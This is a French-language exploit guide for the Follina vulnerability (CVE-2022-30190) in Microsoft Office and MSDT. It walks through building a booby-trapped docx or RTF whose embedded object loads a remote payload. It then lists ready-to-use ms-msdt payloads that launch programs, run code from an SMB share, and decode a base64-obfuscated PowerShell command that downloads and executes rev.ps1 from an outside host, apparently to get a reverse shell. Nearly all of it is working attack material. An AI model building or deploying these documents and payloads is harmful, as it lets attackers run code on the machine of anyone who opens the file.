MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina en un clic

1. Créez un fichier Docx.
2. Dans le fichier Docx, Insertion > Objet > Image Bitmap > OK
3. Dans l'application Paint qui s'est lancée, enregistrez le fichier Paint.
4. Enregistrez votre fichier Docx.
5. Ouvrez votre fichier en tant qu'archive (Avec 7Zip ; Clic droit > 7Zip > Ouvrir l'archive.)
6. Copiez le fichier Document.xml depuis \Word\ et le fichier document.xml.rels depuis \word_rels\
7. Ouvrez/Modifiez le fichier \word_rels\Document.xml.rels et repérez la balise XML de relation avec "/relationships/oleObject". Après cela, remplacez la destination dans "Target=" par votre destination distante où le payload sera récupéré. Ajoutez également "TargetMode="External"" à la balise XML.
8. Recompressez en fichier Docx (Envoyer vers > Dossier compressé (zippé) | Renommez le type de fichier de zip en docx/doc)

Type de fichier RTF

Une fois qu'un docx a été enregistré en utilisant les paramètres de l'étape / paramètres ci-dessous. Enregistrez le Docx en RTF.

Si vous ajoutez également ces éléments sous l'élément <o:OLEObject> dans word/document.xml :

<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>

L'action de recompression peut également être observée dans le script Python de JohnHammond :
~ Reconstruire le fichier Office original ~

shutil.make_archive(args.output, "zip", doc_path)  
os.rename(args.output + ".zip", args.output)  

Référence : https://github.com/JohnHammond/msdt-follina/blob/main/follina.py

Payloads

Exécution de base de Calc :

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>

Peut remplacer Start-Process('calc') par :

IEX('calc.exe')

Exécution via partage SMB :

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";</script>

Chargement de fichier PS1 :

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>

Décodé : Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))

Le fichier access.log d'Apache2 devrait montrer une connexion lors de l'ouverture du fichier